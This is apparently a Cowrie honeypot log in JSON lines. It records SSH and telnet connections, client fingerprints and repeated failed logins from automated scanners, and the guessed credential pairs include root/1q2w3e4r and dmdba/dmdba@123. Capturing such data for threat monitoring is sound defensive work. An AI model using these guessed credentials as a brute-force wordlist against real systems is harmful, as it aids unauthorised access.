{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:03.431677Z","src_ip":"176.65.132.129","session":"238bf1a2fa8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:03.676985Z","src_ip":"176.65.132.129","session":"238bf1a2fa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:04.763253Z","src_ip":"176.65.132.129","session":"238bf1a2fa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.61685562133789,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:06.505566Z","src_ip":"45.58.127.90","session":"cd53c5848d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57006,"dst_ip":"159.203.135.109","dst_port":22,"session":"590e935ab518","protocol":"ssh","message":"New connection: 176.65.132.129:57006 (159.203.135.109:22) [session: 590e935ab518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:06.801233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:06.805906Z","src_ip":"176.65.132.129","session":"590e935ab518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:06.888309Z","src_ip":"176.65.132.129","session":"590e935ab518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:07.136201Z","src_ip":"176.65.132.129","session":"590e935ab518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:08.221241Z","src_ip":"176.65.132.129","session":"590e935ab518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.8739218711853,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:09.551012Z","src_ip":"45.58.127.90","session":"ef3047e7be0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57018,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a638f12910e","protocol":"ssh","message":"New connection: 176.65.132.129:57018 (159.203.135.109:22) [session: 2a638f12910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.132766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.137805Z","src_ip":"176.65.132.129","session":"2a638f12910e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.219390Z","src_ip":"176.65.132.129","session":"2a638f12910e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33658,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc05a1f1655","protocol":"ssh","message":"New connection: 172.237.20.62:33658 (159.203.135.109:22) [session: 1fc05a1f1655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.459307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.464100Z","src_ip":"172.237.20.62","session":"1fc05a1f1655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.468781Z","src_ip":"176.65.132.129","session":"2a638f12910e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:10.627965Z","src_ip":"172.237.20.62","session":"1fc05a1f1655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38386,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e79fb6209f9","protocol":"telnet","message":"New connection: 45.58.127.90:38386 (10.17.0.5:23) [session: 6e79fb6209f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:11.082639Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:11.180201Z","src_ip":"172.237.20.62","session":"1fc05a1f1655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:11.552944Z","src_ip":"176.65.132.129","session":"2a638f12910e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38392,"dst_ip":"10.17.0.5","dst_port":23,"session":"80895089274c","protocol":"telnet","message":"New connection: 45.58.127.90:38392 (10.17.0.5:23) [session: 80895089274c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:11.800257Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:12.345689Z","src_ip":"172.237.20.62","session":"1fc05a1f1655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57054,"dst_ip":"159.203.135.109","dst_port":22,"session":"1178bf8c231e","protocol":"ssh","message":"New connection: 176.65.132.129:57054 (159.203.135.109:22) [session: 1178bf8c231e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:13.644100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:13.648904Z","src_ip":"176.65.132.129","session":"1178bf8c231e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:13.735404Z","src_ip":"176.65.132.129","session":"1178bf8c231e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:13.980752Z","src_ip":"176.65.132.129","session":"1178bf8c231e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:15.064919Z","src_ip":"176.65.132.129","session":"1178bf8c231e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53504,"dst_ip":"159.203.135.109","dst_port":22,"session":"51a1ca67b9dd","protocol":"ssh","message":"New connection: 176.65.132.129:53504 (159.203.135.109:22) [session: 51a1ca67b9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:17.051478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:17.056326Z","src_ip":"176.65.132.129","session":"51a1ca67b9dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:17.138113Z","src_ip":"176.65.132.129","session":"51a1ca67b9dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:17.387996Z","src_ip":"176.65.132.129","session":"51a1ca67b9dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:18.473981Z","src_ip":"176.65.132.129","session":"51a1ca67b9dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53524,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d95c1b381b6","protocol":"ssh","message":"New connection: 176.65.132.129:53524 (159.203.135.109:22) [session: 4d95c1b381b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:20.420644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:20.424970Z","src_ip":"176.65.132.129","session":"4d95c1b381b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:20.506415Z","src_ip":"176.65.132.129","session":"4d95c1b381b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:20.751632Z","src_ip":"176.65.132.129","session":"4d95c1b381b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d1236a306ae","protocol":"ssh","message":"New connection: 172.237.20.62:45360 (159.203.135.109:22) [session: 4d1236a306ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:21.365882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:21.370852Z","src_ip":"172.237.20.62","session":"4d1236a306ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:21.530012Z","src_ip":"172.237.20.62","session":"4d1236a306ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:21.835313Z","src_ip":"176.65.132.129","session":"4d95c1b381b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:22.005559Z","src_ip":"172.237.20.62","session":"4d1236a306ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:23.167240Z","src_ip":"172.237.20.62","session":"4d1236a306ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.035303831100464,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:23.201695Z","src_ip":"45.58.127.90","session":"ca992081e002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3f81e8844a6","protocol":"ssh","message":"New connection: 176.65.132.129:53554 (159.203.135.109:22) [session: c3f81e8844a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:23.828714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:23.941728Z","src_ip":"176.65.132.129","session":"c3f81e8844a6","protocol":"ssh"}
